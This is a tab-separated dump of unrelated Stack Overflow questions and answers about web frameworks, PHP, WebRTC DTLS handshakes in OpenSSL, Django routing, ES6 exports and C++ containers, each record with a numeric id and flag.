35811149	0	Codeigniter 3x Query Builder class seems to be generating extra segments to my query <p>I am using the latest version of the Codeigniter framework for PHP. Here is my code.</p> <pre><code>public function get_user_by_username( $username ) { $this-&gt;db-&gt;where( 'username', strtolower( $username ) ); $q = $this-&gt;db-&gt;get( 'users', 1 ); foreach( $q-&gt;result() as $row ) { return $row; } return NULL } </code></pre> <p>I called the <strong>last_query()</strong> method to get the query that was generating the problem and this pops up messing up the entire query. I didn't code this. Codeigniter is generating this on its own.</p> <pre><code>SELECT * FROM `users` WHERE `serial` IS NULL AND `password` IS NULL AND `username` = '[username]' LIMIT 1 </code></pre> <p>I need Codeigniter to generate this instead as I expected.</p> <pre><code>SELECT * FROM `users` WHERE `username` = '[username]' LIMIT 1 </code></pre> <p>I'm just now starting to code with Codeigniter 3x after using version 2x for the last couple of years. Thanks in advance.</p>
19513018	0	how to Device test Android 2.3.5 where is Developer option? <p>sorry, I'm little speak english..</p> <p>How to device test Android 2.3.5??? Where is Developer option? I do not know where the developer option button.</p>
32027796	0	Ebay Shop Template - 'Other Items' Link Randomly Appearing/Disappearing? <p>I've been trying to make a custom Ebay shop template for the first time using my own CSS.</p> <p>I've been editing the Ebay classes and adding my own and everything seemed fine.</p> <p>However I've now noticed that in my sidebar where it shows the categories the 'Other' link keeps appearing/disappearing when refreshing the page. It is located underneath 'Baby Products'. If I refresh it one time it appears and then another it's not there. I can't figure out why.</p> <p>It can sometimes take me 8-10 refreshes and it will then suddenly appear again.</p> <p>I tried removing all my custom HTML/CSS thinking I might be messing up Ebay's styling or something and it still it continues to do it.</p> <p>Anyone else had this problem or have any idea why it is happening?</p> <p>Here's the link to the shop:</p> <p><a href="http://stores.ebay.co.uk/ecommerce-hq-store" rel="nofollow">http://stores.ebay.co.uk/ecommerce-hq-store</a></p> <p>Cheers Joe :)</p>
17309715	0	 <p>I fixed the issue. By setting $cfg['DefaultDisplay'] = 'horizontal'; in the config.inc.php the view will change once you restart your apache server, and refresh your cache (best method is to logout and log back in).</p>
6697575	0	 <p>It makes no sense to clear the buffer.</p> <p>If it were an output buffer e.g. BufferedWriter, then you could flush the buffer to make sure that all buffered content has been written before closing the buffer.<br> In this case you can just close the buffer, after br.readLine() returns null, which means that there is no more input to be read.</p>
14962572	0	 <p>Jupiter is a code review plug-in tool for the Eclipse IDE. It is currently under active development, and still in an experimental state. The design of Jupiter involves the following:</p> <ol> <li><p>Open Source: Jupiter carries an open source license.</p></li> <li><p>Free: Jupiter is distributed free of charge.</p></li> <li><p>IDE integration: Jupiter is based upon the Eclipse plug-in architecture.</p></li> <li><p>Cross-platform: Jupiter is available for all platforms supported by Eclipse.</p></li> <li><p>XML data storage: Jupiter stores data in XML format to simplify use and re-use.</p></li> <li><p>Sorting and searching: Jupiter provides filters and sorting to facilitate issue review.</p></li> <li><p>File integration: Jupiter supports jumping back and forth between reviews and source code.</p></li> </ol> <p><a href="http://code.google.com/p/jupiter-eclipse-plugin/" rel="nofollow">http://code.google.com/p/jupiter-eclipse-plugin/</a></p> <p>Or</p> <p><a href="https://github.com/rombert/ereviewboard" rel="nofollow">https://github.com/rombert/ereviewboard</a></p>
3588080	0	 <p>I have yet to find any good definitive guides out there.... I usually end up going and looking at the developer blogs of the Adobe staff at <a href="http://www.adobe.com/devnet/flashmediaserver/" rel="nofollow noreferrer">http://www.adobe.com/devnet/flashmediaserver/</a></p> <p>Sorry.. not the answer you were looking for. </p>
30257239	0	Connect netbeans with vagrant <p>I have a project cloned from github repository on my vagrant machine. How can I open it with netbeans on my host machine, and make changes so that it automatically deploys to vagrant?</p> <p>I have been thinking about SFTP, but I don't have vagrant password, user, or other things - it just starts with <code>vagrant ssh</code>. </p> <p>Is there a way to do this?</p>
8682457	0	What code is being used here for use with fonts and glyphs? <p>I was looking through some of the files used in Vexflow and I'm trying to add new glyphs for the score however, I don't know what code is being used here in the vex.flow.font.js file:</p> <pre><code>Vex.Flow.Font = {"glyphs":{"vb":{"x_min":0,"x_max":428.75,"ha":438,"o":"m 262 186 b 273 186 266 186 272 186 b 274 186 273 186 274 186 b 285 186 274 186 280 186 b 428 48 375 181 428 122 b 386 -68 428 12 416 -29 b 155 -187 329 -145 236 -187 b 12 -111 92 -187 38 -162 b 0 -51 4 -91 0 -72 b 262 186 0 58 122 179 "} </code></pre> <p>To my understanding, the code above is referenced by another file (glyph.js) to render an svg. Any help would be greatly appreciated, thank you :)</p>
14947378	0	 <p>Based on what I found out here: <a href="http://stackoverflow.com/questions/14945861/sending-correct-json-content-type-for-cakephp">Sending correct JSON content type for CakePHP</a></p> <p>The correct way to return JSON in CakePHP is like so:</p> <pre><code>$this-&gt;response-&gt;type('json'); $this-&gt;response-&gt;body(json_encode(array('message'=&gt;'Hello world!'))); </code></pre> <p>This is because the headers can be overridden and therefore the CORS doesn't work unless you do it the 'proper' way using the response object in Cake.</p>
15272491	0	How to check if connection lost <p>How can I check if my connection with the server lost ? (Client or Server side no matter) I'm using TCP connection, and the server recv unlimit clients. for each client the server create thread. and with that's way I can recv / send for each client.</p>
727269	0	Web service response is null, but SOAP message response is valid <p>I am writing a web service starting with writing the WSDL. I have been generating server-side skeleton code using wsimport and then writing my own implementing class. I'm running the web service on an Axis2 server. When using soapUI, the SOAP messages coming to and from the service look fine, but when using a web service client, I'm getting null in the client-side stubs. I've heard that this could be a namespace issue, but I see anything wrong. Here is my copy of the WSDL. Any help would be appreciated.</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;wsdl:definitions xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:ns1="http://org.apache.axis2/xsd" xmlns:ns="http://test.sa.lmco.com" xmlns:wsaw="http://www.w3.org/2006/05/addressing/wsdl" xmlns:http="http://schemas.xmlsoap.org/wsdl/http/" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:mime="http://schemas.xmlsoap.org/wsdl/mime/" xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/" targetNamespace="http://test.sa.lmco.com"&gt; &lt;!-- **************** --&gt; &lt;!-- ** Types ** --&gt; &lt;!-- **************** --&gt; &lt;wsdl:types&gt; &lt;xs:schema attributeFormDefault="qualified" elementFormDefault="qualified" targetNamespace="http://test.sa.lmco.com"&gt; &lt;xs:element name="sayHello"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element minOccurs="0" name="s" nillable="true" type="xs:string"/&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;xs:element name="sayHelloResponse"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element minOccurs="0" name="return" nillable="true" type="xs:string"/&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;xs:element name="getTaxonomyNode"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element name="taxonomyId" minOccurs="1" maxOccurs="1" type="xs:int" /&gt; &lt;xs:element name="nodeId" type="xs:int" /&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;xs:element name="getTaxonomyNodeResponse"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element name="resultNode" type="ns:TaxonomyNode" /&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;xs:element name="getChildren"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element name="taxonomyId" minOccurs="1" maxOccurs="1" type="xs:int" /&gt; &lt;xs:element name="parentNodeId" minOccurs="1" maxOccurs="1" type="xs:int" /&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;xs:element name="getChildrenResponse"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element name="childNodes" minOccurs="0" maxOccurs="unbounded" type="ns:TaxonomyNode" /&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;xs:complexType name="TaxonomyNode"&gt; &lt;xs:sequence&gt; &lt;xs:element name="taxonomyId" type="xs:int" /&gt; &lt;xs:element name="nodeId" type="xs:int" /&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;xs:complexType name="LCD"&gt; &lt;xs:sequence&gt; &lt;xs:element name="language" type="xs:string" /&gt; &lt;xs:element name="content" type="xs:string" /&gt; &lt;xs:element name="description" type="xs:string" /&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:schema&gt; &lt;/wsdl:types&gt; &lt;!-- ***************** --&gt; &lt;!-- ** Messages ** --&gt; &lt;!-- ***************** --&gt; &lt;wsdl:message name="sayHelloRequest"&gt; &lt;wsdl:part name="parameters" element="ns:sayHello"/&gt; &lt;/wsdl:message&gt; &lt;wsdl:message name="sayHelloResponse"&gt; &lt;wsdl:part name="parameters" element="ns:sayHelloResponse"/&gt; &lt;/wsdl:message&gt; &lt;wsdl:message name="getTaxonomyNodeRequest"&gt; &lt;wsdl:part name="parameters" element="ns:getTaxonomyNode" /&gt; &lt;/wsdl:message&gt; &lt;wsdl:message name="getTaxonomyNodeResponse"&gt; &lt;wsdl:part name="parameters" element="ns:getTaxonomyNodeResponse" /&gt; &lt;/wsdl:message&gt; &lt;wsdl:message name="getChildrenRequest"&gt; &lt;wsdl:part name="parameters" element="ns:getChildren" /&gt; &lt;/wsdl:message&gt; &lt;wsdl:message name="getChildrenResponse"&gt; &lt;wsdl:part name="parameters" element="ns:getChildrenResponse" /&gt; &lt;/wsdl:message&gt; &lt;!-- ******************* --&gt; &lt;!-- ** PortTypes ** --&gt; &lt;!-- ******************* --&gt; &lt;wsdl:portType name="HelloWSPortType"&gt; &lt;wsdl:operation name="sayHello"&gt; &lt;wsdl:input message="ns:sayHelloRequest" wsaw:Action="urn:sayHello"/&gt; &lt;wsdl:output message="ns:sayHelloResponse" wsaw:Action="urn:sayHelloResponse"/&gt; &lt;/wsdl:operation&gt; &lt;wsdl:operation name="getTaxonomyNode"&gt; &lt;wsdl:input message="ns:getTaxonomyNodeRequest" wsaw:Action="urn:getTaxonomyNode" /&gt; &lt;wsdl:output message="ns:getTaxonomyNodeResponse" wsaw:Action="urn:getTaxonomyNodeResponse" /&gt; &lt;/wsdl:operation&gt; &lt;wsdl:operation name="getChildren"&gt; &lt;wsdl:input message="ns:getChildrenRequest" wsaw:Action="urn:getChildren" /&gt; &lt;wsdl:output message="ns:getChildrenResponse" wsaw:Action="urn:getChildrenResponse" /&gt; &lt;/wsdl:operation&gt; &lt;/wsdl:portType&gt; &lt;!-- ****************** --&gt; &lt;!-- ** Bindings ** --&gt; &lt;!-- ****************** --&gt; &lt;wsdl:binding name="HelloWSServiceSoap11Binding" type="ns:HelloWSPortType"&gt; &lt;soap:binding transport="http://schemas.xmlsoap.org/soap/http" style="document"/&gt; &lt;wsdl:operation name="sayHello"&gt; &lt;soap:operation soapAction="urn:sayHello" style="document"/&gt; &lt;wsdl:input&gt; &lt;soap:body use="literal"/&gt; &lt;/wsdl:input&gt; &lt;wsdl:output&gt; &lt;soap:body use="literal"/&gt; &lt;/wsdl:output&gt; &lt;/wsdl:operation&gt; &lt;wsdl:operation name="getTaxonomyNode"&gt; &lt;soap:operation soapAction="urn:getTaxonomyNode" style="document" /&gt; &lt;wsdl:input&gt; &lt;soap:body use="literal" /&gt; &lt;/wsdl:input&gt; &lt;wsdl:output&gt; &lt;soap:body use="literal" /&gt; &lt;/wsdl:output&gt; &lt;/wsdl:operation&gt; &lt;wsdl:operation name="getChildren"&gt; &lt;soap:operation soapAction="urn:getChildren" style="document" /&gt; &lt;wsdl:input&gt; &lt;soap:body use="literal" /&gt; &lt;/wsdl:input&gt; &lt;wsdl:output&gt; &lt;soap:body use="literal" /&gt; &lt;/wsdl:output&gt; &lt;/wsdl:operation&gt; &lt;/wsdl:binding&gt; &lt;!-- **************** --&gt; &lt;!-- ** Service ** --&gt; &lt;!-- **************** --&gt; &lt;wsdl:service name="HelloWS"&gt; &lt;wsdl:port name="HelloWSServiceHttpSoap11Endpoint" binding="ns:HelloWSServiceSoap11Binding"&gt; &lt;soap:address location="http://162.16.129.25:9090/axis2/services/HelloWS"/&gt; &lt;/wsdl:port&gt; &lt;/wsdl:service&gt; </code></pre> <p></p>
29386599	0	 <p>As of <strong>April 3, 2015</strong>, the <strong>BabelJS</strong> team has released <code>v5.0</code> 3 days ago which includes support for the said shorthand as stated in their <a href="http://babeljs.io/blog/2015/03/31/5.0.0/" rel="nofollow">blog post</a>.</p> <blockquote> <p>Lee Byron's stage 1 additional export-from statements proposal completes the symmetry between import and export statement, allowing you to easily export namespaces and defaults from external modules without modifying the local scope.</p> <p><strong>Exporting a default</strong></p> <pre><code>export foo from "bar"; </code></pre> <p>equivalent to:</p> <pre><code>import _foo from "bar"; export { _foo as foo }; </code></pre> </blockquote> <p><strong>Old Answer</strong>:</p> <p>This export notation</p> <pre><code>export v from "mod"; </code></pre> <p>does not supported in ES6 (look at supported examples <a href="https://people.mozilla.org/~jorendorff/es6-draft.html#table-42" rel="nofollow">in the specification</a>), but it can be supported in ES7 (look at <a href="https://github.com/leebyron/ecmascript-more-export-from" rel="nofollow">this proposal</a>).</p> <p>To achieve <em>exactly</em> the same result you must use <code>import</code> for now:</p> <pre><code>import Outer from './Outer'; export {Outer}; </code></pre>
3118675	0	How do I get 'rake test:acceptance' to run successfully on Windows? <p>I am currently investigating using the selenium-on-rails plug-in for testing an upcoming web app that we are developing. I've written some tests, and can get them to run successfully in the test runner in the browser, however when I try to run them from the command line using 'rake test:acceptance' I see the following error:</p> <pre><code>rake aborted! fork() function is unimplemented on this machine </code></pre> <p>I have installed the win32-open3 gem and win32-process, neither of these seem to have helped. Any ideas how I can get this working?</p>
30828372	0	 <p>He may also be running the MS test adapter which you can get from the nunit site</p>
1684333	0	 <p>The first thing you should do is <a href="http://www.sql-server-performance.com/tips/query_execution_plan_analysis_p1.aspx" rel="nofollow noreferrer">analyze the query plan</a>, to see what indexes (if any) SQL Server is using.</p> <p>You can probably benefit from some <a href="http://www.sql-server-performance.com/tips/covering_indexes_p1.aspx" rel="nofollow noreferrer">covering indexes</a> in this query, since you only use columns in <code>Lineinfo</code> and <code>Order_Header</code> for the join and the query restriction (the WHERE clause).</p>
28505332	0	 <p>I have it working now. I have decided to change things around so the default css page loaded has the styles necessary for the newer model phones which support overflow:scroll. So therefore I have set the heights of the body, container_wrappper and side menu to 100% to begin with instead of changing that after receiving a positive response to checking if overflow: scroll is supported... Instead I check if overflow scroll is not supported and then if not supported i dynamically add a new stylesheet which has the heights of the body and container_wrapper as height: auto; instead of height:100%. it seems that this way around ie changing from height:100% to height: auto displays it correctly as opposed to the way i was doing it starting with no height and adding in height 100% if overflow scroll is* supported.. it was to do with the speed of things loading but when i do it this way even though there is a delay in loading the second stylesheet it still displays correctly after loading. so i add the following code to my head:</p> <pre><code>&lt;link rel="stylesheet" type="text/css" href="css/main_style_new_phones.css"/&gt; &lt;script&gt; if(!canOverflowScroll()){ var lnk=document.createElement('link'); lnk.href='css/main_style_old_phones.css'; lnk.rel='stylesheet'; lnk.type='text/css'; (document.head||document.documentElement).appendChild(lnk); } </code></pre> <p>and this is the css in main_style_new_phones.css </p> <pre><code>body{ margin-top: 0px; /*moves #container right up to top of page so no gap*/ font-family:Arial,Helvetica,sans-serif; width: 100%; overflow: auto; z-index: 1; height: 100%; } #container_wrapper{ position: absolute; left: 0px; top: 0px; display: block; margin: 0 auto; width: 100%; background: #120F3A; overflow: auto; max-width: 100%; /*same width as full logo image width so that when on full screen the background color of the container doesn't spread across*/ z-index: 4; -webkit-transition: .3s; /* Android 2.1+, Chrome 1-25, iOS 3.2-6.1, Safari 3.2-6 */ -moz-transition: .3s; -o-transition: .3s; transition: .3s; /* Chrome 26, Firefox 16+, iOS 7+, IE 10+, Opera, Safari 6.1+ */ height: 100%; } #headernav { width: 100%; position:fixed; top: 0px; left: 0px; z-index: 10; background: #000; padding-bottom: 2px; -webkit-transition: .3s; /* Safari */ transition: .3s; } </code></pre> <p>and in the css for phones that do not support overflow scroll in main_style_old_phones.css:</p> <pre><code>body{ height: auto; } #container_wrapper{ height: auto; } #headernav { position:absolute; } #swipe_menu_right{ height: auto; } </code></pre>
4121467	0	Stretchable/expandable vertically aligned text (relative to image) <p>I would like to place some text next to an image where the text is vertically aligned relative to the image. However, I do not know how wide the window will be and so I would like the text container to expand to fill the available space.</p> <p>I have tried simply putting vertical-align:middle on the text container. That kind of works, but the text will wrap below the image if the text is too long. In order to combat this, I used display:inline-block on the text container. However, this then puts the whole text container below the image!</p> <p>So far, I have something like this:</p> <pre><code>&lt;span&gt;&lt;img src="img.gif" /&gt;&lt;/span&gt; &lt;span style="display:inline-block; vertical-align:middle"&gt;Text goes here&lt;/span&gt; </code></pre>
32848427	0	OpsHub-014371 Error (404)Not Found on User Mapping Page <p>I am trying to migrate source code from TFS 2010 SP1 (local on prem) to TFS Online. When I get to the User Mapping page, I get this error:</p> <blockquote> <p>com.opshub.eai.metadata.MetadataException: OpsHub-014371: Could not instantiate metadata implementation for For User List | TFS Source 1443539882111 ALM TFS 1443539882115, due to (404)Not Found</p> </blockquote> <p>I am running this on the TFS App Tier itself with the database being local. I have stopped the McAfee services. I ran the utility as Admin. I have only 2 users in the project and they are in both projects (I am the TFS Admin locally). I have performed the steps in the Walkthrough, except for the process template. We shouldn't need that because we're migrating source code only. I have cleared the cache folders.</p> <p>The error entry in the log file:</p> <blockquote> <p>09/29/2015 11:18:02,344 ERROR [http-8989-1] (com.opshub.eai.config.service.ConfigServiceImpl) - OpsHub-014371: Could not instantiate metadata implementation for For User List | TFS Source 1443539882111 ALM TFS 1443539882115, due to (404)Not Found com.opshub.eai.metadata.MetadataException: OpsHub-014371: Could not instantiate metadata implementation for For User List | TFS Source 1443539882111 ALM TFS 1443539882115, due to (404)Not Found at com.opshub.eai.tfs.common.metadata.impl.TFSMetadataImpl.getProjectsMeta(TFSMetadataImpl.java:63) at com.opshub.eai.tfs.common.metadata.impl.TFSMetadataImpl$$EnhancerByCGLIB$$5a4e716d.CGLIB$getProjectsMeta$0() at com.opshub.eai.tfs.common.metadata.impl.TFSMetadataImpl$$EnhancerByCGLIB$$5a4e716d$$FastClassByCGLIB$$465c721.invoke() at net.sf.cglib.proxy.MethodProxy.invokeSuper(MethodProxy.java:167) at com.opshub.eai.core.adapters.caching.MetadataCacheHandler.intercept(MetadataCacheHandler.java:40) at com.opshub.eai.tfs.common.metadata.impl.TFSMetadataImpl$$EnhancerByCGLIB$$5a4e716d.getProjectsMeta() at com.opshub.eai.config.business.ConfigServiceBusiness.getUserList(ConfigServiceBusiness.java:926) at com.opshub.eai.config.service.ConfigServiceImpl.getUserList(ConfigServiceImpl.java:407) at com.opshub.eai.config.service.ConfigServiceImpl$$EnhancerByCGLIB$$f3d793b0.CGLIB$getUserList$6() at com.opshub.eai.config.service.ConfigServiceImpl$$EnhancerByCGLIB$$f3d793b0$$FastClassByCGLIB$$148b3d41.invoke() at net.sf.cglib.proxy.MethodProxy.invokeSuper(MethodProxy.java:167) at com.opshub.eai.config.service.ServiceInterception.intercept(ServiceInterception.java:44) at com.opshub.eai.config.service.ConfigServiceImpl$$EnhancerByCGLIB$$f3d793b0.getUserList() at com.opshub.eai.config.service.ConfigService.getUserList(ConfigService.java:97) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at org.apache.axis.providers.java.RPCProvider.invokeMethod(RPCProvider.java:397) at org.apache.axis.providers.java.RPCProvider.processMessage(RPCProvider.java:186) at org.apache.axis.providers.java.JavaProvider.invoke(JavaProvider.java:323) at org.apache.axis.strategies.InvocationStrategy.visit(InvocationStrategy.java:32) at org.apache.axis.SimpleChain.doVisiting(SimpleChain.java:118) at org.apache.axis.SimpleChain.invoke(SimpleChain.java:83) at org.apache.axis.handlers.soap.SOAPService.invoke(SOAPService.java:453) at org.apache.axis.server.AxisServer.invoke(AxisServer.java:281) at org.apache.axis.transport.http.AxisServlet.doPost(AxisServlet.java:699) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at org.apache.axis.transport.http.AxisServletBase.service(AxisServletBase.java:327) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:233) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:844) at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:583) at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:447) at java.lang.Thread.run(Unknown Source)</p> </blockquote> <p>From OVSMU.log file:</p> <blockquote> <p>2015-09-29 11:18:02,351 [1] ERROR com.opshub.eai.metadata.MetadataException: OpsHub-014371: Could not instantiate metadata implementation for For User List | TFS Source 1443539882111 ALM TFS 1443539882115, due to (404)Not Found System.ServiceModel.FaultException: com.opshub.eai.metadata.MetadataException: OpsHub-014371: Could not instantiate metadata implementation for For User List | TFS Source 1443539882111 ALM TFS 1443539882115, due to (404)Not Found</p> </blockquote> <p>Server stack trace: </p> <blockquote> <p>at System.ServiceModel.Channels.ServiceChannel.HandleReply(ProxyOperationRuntime operation, ProxyRpc&amp; rpc) at System.ServiceModel.Channels.ServiceChannel.Call(String action, Boolean oneway, ProxyOperationRuntime operation, Object[] ins, Object[] outs, TimeSpan timeout) at System.ServiceModel.Channels.ServiceChannelProxy.InvokeService(IMethodCallMessage methodCall, ProxyOperationRuntime operation) at System.ServiceModel.Channels.ServiceChannelProxy.Invoke(IMessage message)</p> </blockquote> <p>Exception rethrown at [0]: </p> <blockquote> <p>at TFSMigrationUI.ViewModel.UserMappingViewModel.worker_RunWorkerCompleted(Object sender, RunWorkerCompletedEventArgs e) in e:\OVSMUBranch\TFSMigrationUI\ViewModel\UserMappingViewModel.cs:line 416 at System.Windows.Threading.ExceptionWrapper.InternalRealCall(Delegate callback, Object args, Int32 numArgs) at MS.Internal.Threading.ExceptionFilterHelper.TryCatchWhen(Object source, Delegate method, Object args, Int32 numArgs, Delegate catchHandler)</p> </blockquote> <p>Is it possible that this has something to do with the Java runtime? Perhaps I need to install a newer JRE?</p>
40098668	0	 <p>I have tried two ways for this that works:</p> <pre><code>$str = "RestaurantSmith Family Restaurant"; echo preg_replace("/Restaurant(\w+)/", "$1", $str); </code></pre> <p>and:</p> <pre><code>echo preg_replace("/Restaurant\B/", "", $str); </code></pre>
11388600	0	cant get values printed in to a file <p>Iam trying to pass the value stored in the variable fieldCSV to file data.csv...Ive used javascript and php to do this.. I have triggered an ajax request when a value is stored in to the variable fieldCSV, bt this is nt working as the file that gets downloaded prints the php error inside it instead of csv..</p> <pre><code>$.ajax({ type: "POST", url: "/test/fileDownload.php", data: { name: fieldCSV}, }); &lt;?php $name = $_POST["name"]; header('Content-Type: text/csv; charset=utf-8'); header('Content-Disposition: attachment; filename=data.csv'); $output = fopen('php://output', 'w'); fputcsv($output, $name); ?&gt; </code></pre> <p>What am I doing wrong?</p>
33582617	0	 <p>This is how the function should be:</p> <pre><code>void swap(chat *a, char *b) { char tmp = *b; *b = *a; *a = tmp; } </code></pre> <p>You don't need to pass 5 arguments to it; only 2, which are the two characters you want to swap.</p> <p>And don't dereference the <code>tmp</code> variable, since it is not a pointer.</p>
28364040	0	WebRTC DTLS-SRTP OpenSSL Server Handshake Failure <p><strong><em>Here is my procedure in OpenSSL Server Mode,</em></strong></p> <p><strong>Initialization Part of SSL and BIO variables:</strong> </p> <pre><code>map&lt;int, SSL&gt; m_SSLMap; map&lt;int, BIO&gt; m_BioWriteMap; map&lt;int, BIO&gt; m_BioReadMap; int InitializeServerNegotiationMode(int iFd) { SSL *pServSslFd; BIO *pWb, *pRb; pServSslFd = SSL_new(m_pCtx); assert(pServSslFd); if ( SSL_version(pServSslFd) == DTLS1_VERSION) { pWb = BIO_new(BIO_s_mem()); pRb = BIO_new(BIO_s_mem()); assert(pWb); assert(pRb); SSL_set_bio(pServSslFd, pRb, pWb); SSL_set_accept_state(pServSslFd); } m_SSLMap[iFd] = *pServSslFd; m_BioReadMap[iFd] = *pRb; m_BioWriteMap[iFd] = *pWb; return INITIALIZATION_SUCCESS; } </code></pre> <p><strong>Server Mode Negotiation Operations when DTLS data comes to the server:</strong></p> <pre><code>int ServerModeDTLSNegotiation(int iChannel, const char *pBuff, const int iLen, int iFd) { SSL *pServSslFd; BIO *pRbio; BIO *pWbio; pServSslFd = &amp;m_SSLMap[iFd]; pRbio = &amp;m_BioReadMap[iFd]; pWbio = &amp;m_BioWriteMap[iFd]; char buff[4096]; memset(buff, 0, strlen(buff)); BIO_write(pRbio, pBuff, iLen); if(!SSL_is_init_finished(pServSslFd)) { int iRet = SSL_do_handshake(pServSslFd); } int iNewLen = BIO_read(pWbio, buff, 2048); if(iNewLen&gt;0) { char *pNewData = new char[iNewLen+1]; for(int i=0;i&lt;iNewLen;i++) pNewData[i] = buff[i]; m_pEventHandler-&gt;SendReply(iChannel, (unsigned char *)pNewData, iNewLen); } else { printf("[DTLS]:: HandShaking Response failed for this data, return -1; } return NEGOTIATION_SUCCESS; } </code></pre> <p>Here I am attaching Wireshark TCP-Dump for better monitoring about the issue. </p> <p><a href="https://www.dropbox.com/s/quidcs6gilnvt2o/WebRTC%20DTLS%20Handshake%20Failure.pcapng?dl=0">https://www.dropbox.com/s/quidcs6gilnvt2o/WebRTC%20DTLS%20Handshake%20Failure.pcapng?dl=0</a></p> <p>Now, I am confident about my initialization of SSL_CTX variable. Because, Sometimes Handshake successfully negotiate for every port. But sometimes Handshake fails for one or two port. I am working for 5 days to solve WebRTC DTLS Server Mode Negotiation for Google Chrome. But I haven't found the root cause for this problem. </p>
22346803	0	 <p>the thing about the max being assigned as -999, max is meant to check the maximum values, and min is checking the minimum values, so its suppose to ask at each position if the column indices if even then if it is, its asking if the greatest value (which are usually positive) bigger than -999, and if they would be less than 1000, and so on.. until i get maximums and minimums, because -2000 is actually smaller than -999 so if i entered that, its suppose to be kept in minimum not max ^_^</p>
28977630	1	How to reference to a Method inside a Class in urls.py <p>I have this <code>views.py</code></p> <pre><code>from django.shortcuts import render from forms import ReferenceTableForm class ReferenceTable(object): def createReferenceTable(request): form = ReferenceTableForm() return render(request, "DataImport/createReferenceTable.html", {'form': form}) </code></pre> <p>And this is my <code>urls.py</code></p> <pre><code>from django.conf.urls import patterns, include, url import views urlpatterns = patterns('', url(r'^$', views.createReferenceTable), ) </code></pre> <p>But when I go to my url, <code>http://localhost:8000/create_reference_table/</code> (I am using a different <code>urls.py</code> for each app), I get this error:</p> <pre><code>'module' object has no attribute 'createReferenceTable' </code></pre> <p>If I move the method <code>createReferenceTable</code> to out of the class, it works fine.</p> <p>I think it is because as I am calling a method that is inside a class it is expecting it to be called from an instance of this class, but as I am not very experienced, I really don't know how to sort it out (either if it is the problem or not).</p> <p>Could someone explain what is going on and how I can solve it and prevent from happening next time?</p> <p>Thanks in advance!</p>
7328732	0	How to get stroke count of Chinese character? <p>How to get stroke count of Chinese character?</p> <p>Example></p> <p>一 => 1</p> <p>十 => 2</p> <p>日 => 4</p>
9717516	0	 <p>Have a look at the <a href="http://msdn.microsoft.com/en-us/library/system.string.split.aspx" rel="nofollow"><code>String.Split()</code> function</a>, it tokenises a string based on an array of characters supplied.</p> <p>e.g.</p> <pre><code> string[] lines = text.Split(new[] {';'}, StringSplitOptions.RemoveEmptyEntries); </code></pre> <p>now loop through that array and split each one again</p> <pre><code>foreach(string line in lines) { string[] pair = line.Split(new[] {':'}); string key = pair[0].Trim(); string val = pair[1].Trim(); .... } </code></pre> <p>Obviously check for empty lines, and use <code>.Trim()</code> where needed...</p> <p>[EDIT] <strong>Or alternatively as a nice Linq statement...</strong></p> <pre><code>var result = from line in text.Split(new[] {';'}, StringSplitOptions.RemoveEmptyEntries) let tokens = line.Split(new[] {':'}) select tokens; Dictionary&lt;string, string&gt; = result.ToDictionary (key =&gt; key[0].Trim(), value =&gt; value[1].Trim()); </code></pre>
35545382	0	 <pre><code>std::list&lt;std::string&gt; myList; inputList(myList); std::vector&lt;std::vector&lt;std::string&gt;&gt;myVector(1); for (const auto&amp; str : myList) { if (str == "endOfRow") myVector.push_back({}); else myVector.back().emplace_back(str); } if (myList.empty()) myVector.clear(); // there is no need to update these values inside the loop int vectorRow = (int)myVector.size(); int vectorCol = (int)myVector.back().size(); </code></pre> <blockquote> <p>1) Am I able to iterate through the list, and grab the string that the iterator is currently at? If so, how am I able to add that string into the vector?</p> </blockquote> <p>Yes. The way you are doing it is correct, though you can use better syntax. To add it to the vector, just emplace_back() or push_back().</p> <blockquote> <p>3) When initializing the 2d vector, would pushback work to be able to increase the size as you insert each element?</p> </blockquote> <p>It will. But as you said, if you know the size of the list in the beginning, you can easily initialize it to make it more optimized. If you don't want to initialize the vector, but still want to reserve the space, you can also use vector.reserve()</p>
